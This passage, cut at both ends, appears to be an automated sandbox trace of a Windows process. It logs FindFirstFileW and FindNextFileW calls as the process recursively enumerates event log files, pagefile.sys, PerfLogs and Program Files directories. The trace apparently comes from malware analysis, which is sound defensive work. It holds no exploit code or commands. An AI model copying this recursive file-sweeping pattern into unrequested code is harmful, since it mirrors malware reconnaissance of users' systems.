returned 1 [0089.089] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0089.090] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0089.090] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0089.090] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0089.090] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0089.090] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0089.091] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0089.091] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0089.091] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0089.091] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0089.091] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0089.091] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0089.092] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0089.092] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0089.092] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0089.092] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0089.092] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0089.093] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0089.093] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0089.093] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0089.093] FindClose (in: hFindFile=0x4260750 | out: hFindFile=0x4260750) returned 1 [0089.094] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35b0050 | out: hHeap=0x440000) returned 1 [0089.096] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0089.096] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0089.096] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0089.097] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260750 [0089.098] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0089.098] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0089.098] FindClose (in: hFindFile=0x4260750 | out: hFindFile=0x4260750) returned 1 [0089.098] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35b0050 | out: hHeap=0x440000) returned 1 [0089.098] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9fc460fc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9fc460fc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0089.098] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0089.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9fc460fc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9fc460fc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260450 [0089.099] FindNextFileW (in: hFindFile=0x4260450, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9fc460fc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9fc460fc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x4260450, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9a9305c5, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9a9305c5, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0089.099] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4263e68 [0089.099] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9a9305c5, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9a9305c5, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0089.100] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9a9305c5, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9a9305c5, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.100] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0089.100] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0089.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0089.101] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0 [0089.101] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0089.102] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69596b0, ftCreationTime.dwHighDateTime=0x1d53c24, ftLastAccessTime.dwLowDateTime=0x65920d50, ftLastAccessTime.dwHighDateTime=0x1d57afe, ftLastWriteTime.dwLowDateTime=0x65920d50, ftLastWriteTime.dwHighDateTime=0x1d57afe, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lang hl gis.exe", cAlternateFileName="LANGHL~1.EXE")) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0089.102] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0089.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, 